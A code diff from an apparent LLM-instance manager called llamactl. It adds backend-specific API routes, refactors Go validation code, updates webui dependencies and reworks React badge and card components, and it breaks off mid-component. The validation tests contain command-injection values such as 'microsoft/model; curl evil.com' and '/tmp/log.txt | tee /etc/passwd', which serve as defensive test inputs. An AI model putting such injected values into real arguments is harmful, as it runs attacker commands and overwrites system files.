-			r.Get("/help", handler.LlamaServerHelpHandler())
-			r.Get("/version", handler.LlamaServerVersionHandler())
-			r.Get("/devices", handler.LlamaServerListDevicesHandler())
+		// Backend-specific endpoints
+		r.Route("/backends", func(r chi.Router) {
+			r.Route("/llama-cpp", func(r chi.Router) {
+				r.Get("/help", handler.LlamaServerHelpHandler())
+				r.Get("/version", handler.LlamaServerVersionHandler())
+				r.Get("/devices", handler.LlamaServerListDevicesHandler())
+				r.Post("/parse-command", handler.ParseLlamaCommand())
+			})
+			r.Route("/mlx", func(r chi.Router) {
+				r.Post("/parse-command", handler.ParseMlxCommand())
+			})
+			r.Route("/vllm", func(r chi.Router) {
+				r.Post("/parse-command", handler.ParseVllmCommand())
+			})
+		})
+
+		// Node management endpoints
+		r.Route("/nodes", func(r chi.Router) {
+			r.Get("/", handler.ListNodes()) // List all nodes
+
+			r.Route("/{name}", func(r chi.Router) {
+				r.Get("/", handler.GetNode())
+			})
 		})
 
 		// Instance management endpoints
@@ -67,7 +86,7 @@ func SetupRouter(handler *Handler) *chi.Mux {
 
 				// Llama.cpp server proxy endpoints (proxied to the actual llama.cpp server)
 				r.Route("/proxy", func(r chi.Router) {
-					r.HandleFunc("/*", handler.ProxyToInstance()) // Proxy all llama.cpp server requests
+					r.HandleFunc("/*", handler.InstanceProxy()) // Proxy all llama.cpp server requests
 				})
 			})
 		})
@@ -93,6 +112,51 @@ func SetupRouter(handler *Handler) *chi.Mux {
 
 	})
 
+	r.Route("/llama-cpp/{name}", func(r chi.Router) {
+
+		// Public Routes
+		// Allow llama-cpp server to serve its own WebUI if it is running.
+		// Don't auto start the server since it can be accessed without an API key
+		r.Get("/", handler.LlamaCppUIProxy())
+
+		// Private Routes
+		r.Group(func(r chi.Router) {
+
+			if authMiddleware != nil && handler.cfg.Auth.RequireInferenceAuth {
+				r.Use(authMiddleware.AuthMiddleware(KeyTypeInference))
+			}
+
+			// This handler auto start the server if it's not running
+			llamaCppHandler := handler.LlamaCppProxy()
+
+			// llama.cpp server specific proxy endpoints
+			r.Get("/props", llamaCppHandler)
+			// /slots endpoint is secured (see: https://github.com/ggml-org/llama.cpp/pull/15630)
+			r.Get("/slots", llamaCppHandler)
+			r.Post("/apply-template", llamaCppHandler)
+			r.Post("/completion", llamaCppHandler)
+			r.Post("/detokenize", llamaCppHandler)
+			r.Post("/embeddings", llamaCppHandler)
+			r.Post("/infill", llamaCppHandler)
+			r.Post("/metrics", llamaCppHandler)
+			r.Post("/props", llamaCppHandler)
+			r.Post("/reranking", llamaCppHandler)
+			r.Post("/tokenize", llamaCppHandler)
+
+			// OpenAI-compatible proxy endpoint
+			// Handles all POST requests to /v1/*, including:
+			//   - /v1/completions
+			//   - /v1/chat/completions
+			//   - /v1/embeddings
+			//   - /v1/rerank
+			//   - /v1/reranking
+			// llamaCppHandler is used here because some users of llama.cpp endpoints depend
+			// on "model" field being optional, and handler.OpenAIProxy requires it.
+			r.Post("/v1/*", llamaCppHandler)
+		})
+
+	})
+
 	// Serve WebUI files
 	if err := webui.SetupWebUI(r); err != nil {
 		fmt.Printf("Failed to set up WebUI: %v\n", err)

pkg/testutil/helpers.go

@@ -1,5 +1,7 @@
 package testutil
 
+import "slices"
+
 // Helper functions for pointer fields
 func BoolPtr(b bool) *bool {
 	return &b
@@ -8,3 +10,23 @@ func BoolPtr(b bool) *bool {
 func IntPtr(i int) *int {
 	return &i
 }
+
+// Helper functions for testing command arguments
+
+// Contains checks if a slice contains a specific item
+func Contains(slice []string, item string) bool {
+	return slices.Contains(slice, item)
+}
+
+// ContainsFlagWithValue checks if args contains a flag followed by a specific value
+func ContainsFlagWithValue(args []string, flag, value string) bool {
+	for i, arg := range args {
+		if arg == flag {
+			// Check if there's a next argument and it matches the expected value
+			if i+1 < len(args) && args[i+1] == value {
+				return true
+			}
+		}
+	}
+	return false
+}

pkg/validation/validation.go

@@ -2,8 +2,6 @@ package validation
 
 import (
 	"fmt"
-	"llamactl/pkg/backends"
-	"llamactl/pkg/instance"
 	"reflect"
 	"regexp"
 )
@@ -24,8 +22,8 @@ var (
 
 type ValidationError error
 
-// validateStringForInjection checks if a string contains dangerous patterns
-func validateStringForInjection(value string) error {
+// ValidateStringForInjection checks if a string contains dangerous patterns
+func ValidateStringForInjection(value string) error {
 	for _, pattern := range dangerousPatterns {
 		if pattern.MatchString(value) {
 			return ValidationError(fmt.Errorf("value contains potentially dangerous characters: %s", value))
@@ -34,42 +32,8 @@ func validateStringForInjection(value string) error {
 	return nil
 }
 
-// ValidateInstanceOptions performs validation based on backend type
-func ValidateInstanceOptions(options *instance.CreateInstanceOptions) error {
-	if options == nil {
-		return ValidationError(fmt.Errorf("options cannot be nil"))
-	}
-
-	// Validate based on backend type
-	switch options.BackendType {
-	case backends.BackendTypeLlamaCpp:
-		return validateLlamaCppOptions(options)
-	default:
-		return ValidationError(fmt.Errorf("unsupported backend type: %s", options.BackendType))
-	}
-}
-
-// validateLlamaCppOptions validates llama.cpp specific options
-func validateLlamaCppOptions(options *instance.CreateInstanceOptions) error {
-	if options.LlamaServerOptions == nil {
-		return ValidationError(fmt.Errorf("llama server options cannot be nil for llama.cpp backend"))
-	}
-
-	// Use reflection to check all string fields for injection patterns
-	if err := validateStructStrings(options.LlamaServerOptions, ""); err != nil {
-		return err
-	}
-
-	// Basic network validation for port
-	if options.LlamaServerOptions.Port < 0 || options.LlamaServerOptions.Port > 65535 {
-		return ValidationError(fmt.Errorf("invalid port range: %d", options.LlamaServerOptions.Port))
-	}
-
-	return nil
-}
-
-// validateStructStrings recursively validates all string fields in a struct
-func validateStructStrings(v any, fieldPath string) error {
+// ValidateStructStrings recursively validates all string fields in a struct
+func ValidateStructStrings(v any, fieldPath string) error {
 	val := reflect.ValueOf(v)
 	if val.Kind() == reflect.Ptr {
 		val = val.Elem()
@@ -95,21 +59,21 @@ func validateStructStrings(v any, fieldPath string) error {
 
 		switch field.Kind() {
 		case reflect.String:
-			if err := validateStringForInjection(field.String()); err != nil {
+			if err := ValidateStringForInjection(field.String()); err != nil {
 				return ValidationError(fmt.Errorf("field %s: %w", fieldName, err))
 			}
 
 		case reflect.Slice:
 			if field.Type().Elem().Kind() == reflect.String {
 				for j := 0; j < field.Len(); j++ {
-					if err := validateStringForInjection(field.Index(j).String()); err != nil {
+					if err := ValidateStringForInjection(field.Index(j).String()); err != nil {
 						return ValidationError(fmt.Errorf("field %s[%d]: %w", fieldName, j, err))
 					}
 				}
 			}
 
 		case reflect.Struct:
-			if err := validateStructStrings(field.Interface(), fieldName); err != nil {
+			if err := ValidateStructStrings(field.Interface(), fieldName); err != nil {
 				return err
 			}
 		}

pkg/validation/validation_test.go

@@ -2,9 +2,6 @@ package validation_test
 
 import (
 	"llamactl/pkg/backends"
-	"llamactl/pkg/backends/llamacpp"
-	"llamactl/pkg/instance"
-	"llamactl/pkg/testutil"
 	"llamactl/pkg/validation"
 	"strings"
 	"testing"
@@ -58,13 +55,11 @@ func TestValidateInstanceName(t *testing.T) {
 }
 
 func TestValidateInstanceOptions_NilOptions(t *testing.T) {
-	err := validation.ValidateInstanceOptions(nil)
+	var opts backends.Options
+	err := opts.ValidateInstanceOptions()
 	if err == nil {
 		t.Error("Expected error for nil options")
 	}
-	if !strings.Contains(err.Error(), "options cannot be nil") {
-		t.Errorf("Expected 'options cannot be nil' error, got: %v", err)
-	}
 }
 
 func TestValidateInstanceOptions_PortValidation(t *testing.T) {
@@ -83,14 +78,14 @@ func TestValidateInstanceOptions_PortValidation(t *testing.T) {
 
 	for _, tt := range tests {
 		t.Run(tt.name, func(t *testing.T) {
-			options := &instance.CreateInstanceOptions{
+			options := backends.Options{
 				BackendType: backends.BackendTypeLlamaCpp,
-				LlamaServerOptions: &llamacpp.LlamaServerOptions{
+				LlamaServerOptions: &backends.LlamaServerOptions{
 					Port: tt.port,
 				},
 			}
 
-			err := validation.ValidateInstanceOptions(options)
+			err := options.ValidateInstanceOptions()
 			if (err != nil) != tt.wantErr {
 				t.Errorf("ValidateInstanceOptions(port=%d) error = %v, wantErr %v", tt.port, err, tt.wantErr)
 			}
@@ -137,14 +132,14 @@ func TestValidateInstanceOptions_StringInjection(t *testing.T) {
 	for _, tt := range tests {
 		t.Run(tt.name, func(t *testing.T) {
 			// Test with Model field (string field)
-			options := &instance.CreateInstanceOptions{
+			options := backends.Options{
 				BackendType: backends.BackendTypeLlamaCpp,
-				LlamaServerOptions: &llamacpp.LlamaServerOptions{
+				LlamaServerOptions: &backends.LlamaServerOptions{
 					Model: tt.value,
 				},
 			}
 
-			err := validation.ValidateInstanceOptions(options)
+			err := options.ValidateInstanceOptions()
 			if (err != nil) != tt.wantErr {
 				t.Errorf("ValidateInstanceOptions(model=%q) error = %v, wantErr %v", tt.value, err, tt.wantErr)
 			}
@@ -175,14 +170,14 @@ func TestValidateInstanceOptions_ArrayInjection(t *testing.T) {
 	for _, tt := range tests {
 		t.Run(tt.name, func(t *testing.T) {
 			// Test with Lora field (array field)
-			options := &instance.CreateInstanceOptions{
+			options := backends.Options{
 				BackendType: backends.BackendTypeLlamaCpp,
-				LlamaServerOptions: &llamacpp.LlamaServerOptions{
+				LlamaServerOptions: &backends.LlamaServerOptions{
 					Lora: tt.array,
 				},
 			}
 
-			err := validation.ValidateInstanceOptions(options)
+			err := options.ValidateInstanceOptions()
 			if (err != nil) != tt.wantErr {
 				t.Errorf("ValidateInstanceOptions(lora=%v) error = %v, wantErr %v", tt.array, err, tt.wantErr)
 			}
@@ -194,14 +189,14 @@ func TestValidateInstanceOptions_MultipleFieldInjection(t *testing.T) {
 	// Test that injection in any field is caught
 	tests := []struct {
 		name    string
-		options *instance.CreateInstanceOptions
+		options backends.Options
 		wantErr bool
 	}{
 		{
 			name: "injection in model field",
-			options: &instance.CreateInstanceOptions{
+			options: backends.Options{
 				BackendType: backends.BackendTypeLlamaCpp,
-				LlamaServerOptions: &llamacpp.LlamaServerOptions{
+				LlamaServerOptions: &backends.LlamaServerOptions{
 					Model:  "safe.gguf",
 					HFRepo: "microsoft/model; curl evil.com",
 				},
@@ -210,9 +205,9 @@ func TestValidateInstanceOptions_MultipleFieldInjection(t *testing.T) {
 		},
 		{
 			name: "injection in log file",
-			options: &instance.CreateInstanceOptions{
+			options: backends.Options{
 				BackendType: backends.BackendTypeLlamaCpp,
-				LlamaServerOptions: &llamacpp.LlamaServerOptions{
+				LlamaServerOptions: &backends.LlamaServerOptions{
 					Model:   "safe.gguf",
 					LogFile: "/tmp/log.txt | tee /etc/passwd",
 				},
@@ -221,9 +216,9 @@ func TestValidateInstanceOptions_MultipleFieldInjection(t *testing.T) {
 		},
 		{
 			name: "all safe fields",
-			options: &instance.CreateInstanceOptions{
+			options: backends.Options{
 				BackendType: backends.BackendTypeLlamaCpp,
-				LlamaServerOptions: &llamacpp.LlamaServerOptions{
+				LlamaServerOptions: &backends.LlamaServerOptions{
 					Model:   "/path/to/model.gguf",
 					HFRepo:  "microsoft/DialoGPT-medium",
 					LogFile: "/tmp/llama.log",
@@ -237,7 +232,7 @@ func TestValidateInstanceOptions_MultipleFieldInjection(t *testing.T) {
 
 	for _, tt := range tests {
 		t.Run(tt.name, func(t *testing.T) {
-			err := validation.ValidateInstanceOptions(tt.options)
+			err := tt.options.ValidateInstanceOptions()
 			if (err != nil) != tt.wantErr {
 				t.Errorf("ValidateInstanceOptions() error = %v, wantErr %v", err, tt.wantErr)
 			}
@@ -247,12 +242,9 @@ func TestValidateInstanceOptions_MultipleFieldInjection(t *testing.T) {
 
 func TestValidateInstanceOptions_NonStringFields(t *testing.T) {
 	// Test that non-string fields don't interfere with validation
-	options := &instance.CreateInstanceOptions{
-		AutoRestart:  testutil.BoolPtr(true),
-		MaxRestarts:  testutil.IntPtr(5),
-		RestartDelay: testutil.IntPtr(10),
-		BackendType:  backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
+	options := backends.Options{
+		BackendType: backends.BackendTypeLlamaCpp,
+		LlamaServerOptions: &backends.LlamaServerOptions{
 			Port:        8080,
 			GPULayers:   32,
 			CtxSize:     4096,
@@ -264,7 +256,7 @@ func TestValidateInstanceOptions_NonStringFields(t *testing.T) {
 		},
 	}
 
-	err := validation.ValidateInstanceOptions(options)
+	err := options.ValidateInstanceOptions()
 	if err != nil {
 		t.Errorf("ValidateInstanceOptions with non-string fields should not error, got: %v", err)
 	}

webui/package-lock.json

@@ -19,6 +19,7 @@
         "lucide-react": "^0.525.0",
         "react": "^19.1.0",
         "react-dom": "^19.1.0",
+        "sonner": "^2.0.7",
         "tailwind-merge": "^3.3.1",
         "tailwindcss": "^4.1.11",
         "zod": "^4.0.5"
@@ -42,7 +43,7 @@
         "tw-animate-css": "^1.3.5",
         "typescript": "^5.8.3",
         "typescript-eslint": "^8.38.0",
-        "vite": "^7.0.5",
+        "vite": "^7.1.11",
         "vitest": "^3.2.4"
       }
     },
@@ -2109,6 +2110,60 @@
         "node": ">=14.0.0"
       }
     },
+    "node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@emnapi/core": {
+      "version": "1.4.3",
+      "inBundle": true,
+      "license": "MIT",
+      "optional": true,
+      "dependencies": {
+        "@emnapi/wasi-threads": "1.0.2",
+        "tslib": "^2.4.0"
+      }
+    },
+    "node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@emnapi/runtime": {
+      "version": "1.4.3",
+      "inBundle": true,
+      "license": "MIT",
+      "optional": true,
+      "dependencies": {
+        "tslib": "^2.4.0"
+      }
+    },
+    "node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@emnapi/wasi-threads": {
+      "version": "1.0.2",
+      "inBundle": true,
+      "license": "MIT",
+      "optional": true,
+      "dependencies": {
+        "tslib": "^2.4.0"
+      }
+    },
+    "node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@napi-rs/wasm-runtime": {
+      "version": "0.2.11",
+      "inBundle": true,
+      "license": "MIT",
+      "optional": true,
+      "dependencies": {
+        "@emnapi/core": "^1.4.3",
+        "@emnapi/runtime": "^1.4.3",
+        "@tybys/wasm-util": "^0.9.0"
+      }
+    },
+    "node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@tybys/wasm-util": {
+      "version": "0.9.0",
+      "inBundle": true,
+      "license": "MIT",
+      "optional": true,
+      "dependencies": {
+        "tslib": "^2.4.0"
+      }
+    },
+    "node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/tslib": {
+      "version": "2.8.0",
+      "inBundle": true,
+      "license": "0BSD",
+      "optional": true
+    },
     "node_modules/@tailwindcss/oxide-win32-arm64-msvc": {
       "version": "4.1.11",
       "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-win32-arm64-msvc/-/oxide-win32-arm64-msvc-4.1.11.tgz",
@@ -4190,10 +4245,13 @@
       }
     },
     "node_modules/fdir": {
-      "version": "6.4.6",
-      "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.4.6.tgz",
-      "integrity": "sha512-hiFoqpyZcfNm1yc4u8oWCf9A2c4D3QjCrks3zmoVKVxpQRzmPNar1hUJcBG2RQHvEVGDN+Jm81ZheVLAQMK6+w==",
+      "version": "6.5.0",
+      "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz",
+      "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==",
       "license": "MIT",
+      "engines": {
+        "node": ">=12.0.0"
+      },
       "peerDependencies": {
         "picomatch": "^3 || ^4"
       },
@@ -6693,6 +6751,16 @@
         "node": ">=18"
       }
     },
+    "node_modules/sonner": {
+      "version": "2.0.7",
+      "resolved": "https://registry.npmjs.org/sonner/-/sonner-2.0.7.tgz",
+      "integrity": "sha512-W6ZN4p58k8aDKA4XPcx2hpIQXBRAgyiWVkYhT7CvK6D3iAu7xjvVyhQHg2/iaKJZ1XVJ4r7XuwGL+WGEK37i9w==",
+      "license": "MIT",
+      "peerDependencies": {
+        "react": "^18.0.0 || ^19.0.0 || ^19.0.0-rc",
+        "react-dom": "^18.0.0 || ^19.0.0 || ^19.0.0-rc"
+      }
+    },
     "node_modules/source-map-js": {
       "version": "1.2.1",
       "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz",
@@ -6973,13 +7041,13 @@
       "license": "MIT"
     },
     "node_modules/tinyglobby": {
-      "version": "0.2.14",
-      "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.14.tgz",
-      "integrity": "sha512-tX5e7OM1HnYr2+a2C/4V0htOcSQcoSTH9KgJnVvNm5zm/cyEWKJ7j7YutsH9CxMdtOkkLFy2AHrMci9IM8IPZQ==",
+      "version": "0.2.15",
+      "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.15.tgz",
+      "integrity": "sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ==",
       "license": "MIT",
       "dependencies": {
-        "fdir": "^6.4.4",
-        "picomatch": "^4.0.2"
+        "fdir": "^6.5.0",
+        "picomatch": "^4.0.3"
       },
       "engines": {
         "node": ">=12.0.0"
@@ -7356,17 +7424,17 @@
       }
     },
     "node_modules/vite": {
-      "version": "7.0.5",
-      "resolved": "https://registry.npmjs.org/vite/-/vite-7.0.5.tgz",
-      "integrity": "sha512-1mncVwJxy2C9ThLwz0+2GKZyEXuC3MyWtAAlNftlZZXZDP3AJt5FmwcMit/IGGaNZ8ZOB2BNO/HFUB+CpN0NQw==",
+      "version": "7.1.11",
+      "resolved": "https://registry.npmjs.org/vite/-/vite-7.1.11.tgz",
+      "integrity": "sha512-uzcxnSDVjAopEUjljkWh8EIrg6tlzrjFUfMcR1EVsRDGwf/ccef0qQPRyOrROwhrTDaApueq+ja+KLPlzR/zdg==",
       "license": "MIT",
       "dependencies": {
         "esbuild": "^0.25.0",
-        "fdir": "^6.4.6",
-        "picomatch": "^4.0.2",
+        "fdir": "^6.5.0",
+        "picomatch": "^4.0.3",
         "postcss": "^8.5.6",
-        "rollup": "^4.40.0",
-        "tinyglobby": "^0.2.14"
+        "rollup": "^4.43.0",
+        "tinyglobby": "^0.2.15"
       },
       "bin": {
         "vite": "bin/vite.js"

webui/package.json

@@ -28,6 +28,7 @@
     "lucide-react": "^0.525.0",
     "react": "^19.1.0",
     "react-dom": "^19.1.0",
+    "sonner": "^2.0.7",
     "tailwind-merge": "^3.3.1",
     "tailwindcss": "^4.1.11",
     "zod": "^4.0.5"
@@ -51,7 +52,7 @@
     "tw-animate-css": "^1.3.5",
     "typescript": "^5.8.3",
     "typescript-eslint": "^8.38.0",
-    "vite": "^7.0.5",
+    "vite": "^7.1.11",
     "vitest": "^3.2.4"
   }
 }

webui/src/App.tsx

@@ -8,6 +8,7 @@ import { type CreateInstanceOptions, type Instance } from "@/types/instance";
 import { useInstances } from "@/contexts/InstancesContext";
 import { useAuth } from "@/contexts/AuthContext";
 import { ThemeProvider } from "@/contexts/ThemeContext";
+import { Toaster } from "sonner";
 
 function App() {
   const { isAuthenticated, isLoading: authLoading } = useAuth();
@@ -85,6 +86,8 @@ function App() {
           open={isSystemInfoModalOpen}
           onOpenChange={setIsSystemInfoModalOpen}
         />
+        
+        <Toaster />
       </div>
     </ThemeProvider>
   );

webui/src/__tests__/App.test.tsx

@@ -12,12 +12,14 @@ import { AuthProvider } from '@/contexts/AuthContext'
 vi.mock('@/lib/api', () => ({
   instancesApi: {
     list: vi.fn(),
+    get: vi.fn(),
     create: vi.fn(),
     update: vi.fn(),
     start: vi.fn(),
     stop: vi.fn(),
     restart: vi.fn(),
     delete: vi.fn(),
+    getHealth: vi.fn(),
   },
   serverApi: {
     getHelp: vi.fn(),
@@ -30,9 +32,21 @@ vi.mock('@/lib/api', () => ({
 vi.mock('@/lib/healthService', () => ({
   healthService: {
     subscribe: vi.fn(() => () => {}),
-    checkHealth: vi.fn(),
+    refreshHealth: vi.fn(() => Promise.resolve()),
+    checkHealthAfterOperation: vi.fn(),
+    performHealthCheck: vi.fn(() => Promise.resolve({
+      state: 'ready',
+      instanceStatus: 'running',
+      lastChecked: new Date(),
+      source: 'http'
+    })),
   },
-  checkHealth: vi.fn(),
+  checkHealth: vi.fn(() => Promise.resolve({
+    state: 'ready',
+    instanceStatus: 'running',
+    lastChecked: new Date(),
+    source: 'http'
+  })),
 }))
 
 function renderApp() {
@@ -160,7 +174,7 @@ describe('App Component - Critical Business Logic Only', () => {
       expect(screen.getAllByTitle('Start instance').length).toBeGreaterThan(0)
       expect(screen.getAllByTitle('Stop instance').length).toBeGreaterThan(0)
       expect(screen.getAllByTitle('Edit instance').length).toBe(2)
-      expect(screen.getAllByTitle('Delete instance').length).toBeGreaterThan(0)
+      expect(screen.getAllByTitle('More actions').length).toBe(2)
     })
 
     it('delete confirmation calls correct API', async () => {
@@ -174,8 +188,17 @@ describe('App Component - Critical Business Logic Only', () => {
         expect(screen.getByText('test-instance-1')).toBeInTheDocument()
       })
 
-      const deleteButtons = screen.getAllByTitle('Delete instance')
-      await user.click(deleteButtons[0])
+      // First click the "More actions" button to reveal the delete button
+      const moreActionsButtons = screen.getAllByTitle('More actions')
+      await user.click(moreActionsButtons[0])
+
+      // Wait for the delete button to appear and click it
+      await waitFor(() => {
+        expect(screen.getByTitle('Delete instance')).toBeInTheDocument()
+      })
+
+      const deleteButton = screen.getByTitle('Delete instance')
+      await user.click(deleteButton)
 
       // Verify confirmation and API call
       expect(confirmSpy).toHaveBeenCalledWith('Are you sure you want to delete instance "test-instance-1"?')

webui/src/components/BackendBadge.tsx

@@ -0,0 +1,65 @@
+import React from "react";
+import { Badge } from "@/components/ui/badge";
+import { BackendType, type BackendTypeValue } from "@/types/instance";
+import { Server, Package } from "lucide-react";
+
+interface BackendBadgeProps {
+  backend?: BackendTypeValue;
+  docker?: boolean;
+}
+
+const BackendBadge: React.FC<BackendBadgeProps> = ({ backend, docker }) => {
+  if (!backend) {
+    return null;
+  }
+
+  const getText = () => {
+    switch (backend) {
+      case BackendType.LLAMA_CPP:
+        return "llama.cpp";
+      case BackendType.MLX_LM:
+        return "MLX";
+      case BackendType.VLLM:
+        return "vLLM";
+      default:
+        return backend;
+    }
+  };
+
+  const getColorClasses = () => {
+    switch (backend) {
+      case BackendType.LLAMA_CPP:
+        return "bg-blue-100 text-blue-800 border-blue-200 dark:bg-blue-900 dark:text-blue-200 dark:border-blue-800";
+      case BackendType.MLX_LM:
+        return "bg-green-100 text-green-800 border-green-200 dark:bg-green-900 dark:text-green-200 dark:border-green-800";
+      case BackendType.VLLM:
+        return "bg-purple-100 text-purple-800 border-purple-200 dark:bg-purple-900 dark:text-purple-200 dark:border-purple-800";
+      default:
+        return "bg-gray-100 text-gray-800 border-gray-200 dark:bg-gray-900 dark:text-gray-200 dark:border-gray-800";
+    }
+  };
+
+  return (
+    <div className="flex items-center gap-1">
+      <Badge
+        variant="outline"
+        className={`flex items-center gap-1.5 ${getColorClasses()}`}
+      >
+        <Server className="h-3 w-3" />
+        <span className="text-xs">{getText()}</span>
+      </Badge>
+      {docker && (
+        <Badge
+          variant="outline"
+          className="flex items-center gap-1.5 bg-orange-100 text-orange-800 border-orange-200 dark:bg-orange-900 dark:text-orange-200 dark:border-orange-800"
+          title="Docker enabled"
+        >
+          <Package className="h-3 w-3" />
+          <span className="text-[10px] uppercase tracking-wide">Docker</span>
+        </Badge>
+      )}
+    </div>
+  );
+};
+
+export default BackendBadge;

webui/src/components/BackendFormField.tsx

@@ -2,11 +2,10 @@ import React from 'react'
 import { Input } from '@/components/ui/input'
 import { Label } from '@/components/ui/label'
 import { Checkbox } from '@/components/ui/checkbox'
-import type { BackendOptions } from '@/schemas/instanceOptions'
 import { getBackendFieldType, basicBackendFieldsConfig } from '@/lib/zodFormUtils'
 
 interface BackendFormFieldProps {
-  fieldKey: keyof BackendOptions
+  fieldKey: string
   value: string | number | boolean | string[] | undefined
   onChange: (key: string, value: string | number | boolean | string[] | undefined) => void
 }
@@ -46,7 +45,6 @@ const BackendFormField: React.FC<BackendFormFieldProps> = ({ fieldKey, value, on
           <div className="grid gap-2">
             <Label htmlFor={fieldKey}>
               {config.label}
-              {config.required && <span className="text-red-500 ml-1">*</span>}
             </Label>
             <Input
               id={fieldKey}
@@ -73,7 +71,6 @@ const BackendFormField: React.FC<BackendFormFieldProps> = ({ fieldKey, value, on
           <div className="grid gap-2">
             <Label htmlFor={fieldKey}>
               {config.label}
-              {config.required && <span className="text-red-500 ml-1">*</span>}
             </Label>
             <Input
               id={fieldKey}
@@ -100,7 +97,6 @@ const BackendFormField: React.FC<BackendFormFieldProps> = ({ fieldKey, value, on
           <div className="grid gap-2">
             <Label htmlFor={fieldKey}>
               {config.label}
-              {config.required && <span className="text-red-500 ml-1">*</span>}
             </Label>
             <Input
               id={fieldKey}

webui/src/components/HealthBadge.tsx

@@ -2,7 +2,7 @@
 import React from "react";
 import { Badge } from "@/components/ui/badge";
 import type { HealthStatus } from "@/types/instance";
-import { CheckCircle, Loader2, XCircle } from "lucide-react";
+import { CheckCircle, Loader2, XCircle, Clock } from "lucide-react";
 
 interface HealthBadgeProps {
   health?: HealthStatus;
@@ -10,37 +10,33 @@ interface HealthBadgeProps {
 
 const HealthBadge: React.FC<HealthBadgeProps> = ({ health }) => {
   if (!health) {
-    health = {
-      status: "unknown", // Default to unknown if not provided
-      lastChecked: new Date(), // Default to current date
-      message: undefined, // No message by default
-    };
+    return null;
   }
 
   const getIcon = () => {
-    switch (health.status) {
-      case "ok":
+    switch (health.state) {
+      case "ready":
         return <CheckCircle className="h-3 w-3" />;
-      case "loading":
+      case "starting":
         return <Loader2 className="h-3 w-3 animate-spin" />;
-      case "error":
-        return <XCircle className="h-3 w-3" />;
-      case "unknown":
+      case "restarting":
         return <Loader2 className="h-3 w-3 animate-spin" />;
+      case "stopped":
+        return <Clock className="h-3 w-3" />;
       case "failed":
         return <XCircle className="h-3 w-3" />;
     }
   };
 
   const getVariant = () => {
-    switch (health.status) {
-      case "ok":
+    switch (health.state) {
+      case "ready":
         return "default";
-      case "loading":
+      case "starting":
         return "outline";
-      case "error":
-        return "destructive";
-      case "unknown":
+      case "restarting":
+        return "outline";
+      case "stopped":
         return "secondary";
       case "failed":
         return "destructive";
@@ -48,15 +44,15 @@ const HealthBadge: React.FC<HealthBadgeProps> = ({ health }) => {
   };
 
   const getText = () => {
-    switch (health.status) {
-      case "ok":
+    switch (health.state) {
+      case "ready":
         return "Ready";
-      case "loading":
-        return "Loading";
-      case "error":
-        return "Error";
-      case "unknown":
-        return "Unknown";
+      case "starting":
+        return "Starting";
+      case "restarting":
+        return "Restarting";
+      case "stopped":
+        return "Stopped";
       case "failed":
         return "Failed";
     }
@@ -66,10 +62,11 @@ const HealthBadge: React.FC<HealthBadgeProps> = ({ health }) => {
     <Badge
       variant={getVariant()}
       className={`flex items-center gap-1.5 ${
-        health.status === "ok"
+        health.state === "ready"
           ? "bg-green-100 text-green-800 border-green-200 dark:bg-green-900 dark:text-green-200 dark:border-green-800"
           : ""
       }`}
+      title={health.error || `Source: ${health.source}`}
     >
       {getIcon()}
       <span className="text-xs">{getText()}</span>

webui/src/components/InstanceCard.tsx

@@ -2,9 +2,10 @@
 import { Button } from "@/components/ui/button";
 import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
 import type { Instance } from "@/types/instance";
-import { Edit, FileText, Play, Square, Trash2 } from "lucide-react";
+import { Edit, FileText, Play, Square, Trash2, MoreHorizontal } from "lucide-react";
 import LogsDialog from "@/components/LogDialog";
 import HealthBadge from "@/components/HealthBadge";
+import BackendBadge from "@/components/BackendBadge";
 import { useState } from "react";
 import { useInstanceHealth } from "@/hooks/useInstanceHealth";
 
@@ -24,6 +25,7 @@ function InstanceCard({
   editInstance,
 }: InstanceCardProps) {
   const [isLogsOpen, setIsLogsOpen] = useState(false);
+  const [showAllActions, setShowAllActions] = useState(false);
   const health = useInstanceHealth(instance.name, instance.status);
 
   const handleStart = () => {
@@ -54,36 +56,44 @@ function InstanceCard({
 
   return (
     <>
-      <Card>
-        <CardHeader className="pb-3">
-          <div className="flex items-center justify-between">
-            <CardTitle className="text-lg">{instance.name}</CardTitle>
-            {running && <HealthBadge health={health} />}
+      <Card className="hover:shadow-md transition-shadow">
+        <CardHeader className="pb-4">
+          {/* Header with instance name and status badges */}
+          <div className="space-y-3">
+            <CardTitle className="text-lg font-semibold leading-tight break-words">
+              {instance.name}
+            </CardTitle>
+            
+            {/* Badges row */}
+            <div className="flex items-center gap-2 flex-wrap">
+              <BackendBadge backend={instance.options?.backend_type} docker={instance.docker_enabled} />
+              {running && <HealthBadge health={health} />}
+            </div>
           </div>
         </CardHeader>
 
-        <CardContent>
-          <div className="flex gap-1">
+        <CardContent className="pt-0">
+          {/* Primary actions - always visible */}
+          <div className="flex items-center gap-2 mb-3">
             <Button
               size="sm"
-              variant="outline"
-              onClick={handleStart}
-              disabled={running}
-              title="Start instance"
-              data-testid="start-instance-button"
+              variant={running ? "outline" : "default"}
+              onClick={running ? handleStop : handleStart}
+              className="flex-1"
+              title={running ? "Stop instance" : "Start instance"}
+              data-testid={running ? "stop-instance-button" : "start-instance-button"}
             >
-              <Play className="h-4 w-4" />
-            </Button>
-
-            <Button
-              size="sm"
-              variant="outline"
-              onClick={handleStop}
-              disabled={!running}
-              title="Stop instance"
-              data-testid="stop-instance-button"
-            >
-              <Square className="h-4 w-4" />
+              {running ? (
+                <>
+                  <Square className="h-4 w-4 mr-1" />
+                  Stop
+                </>
+              ) : (
+                <>
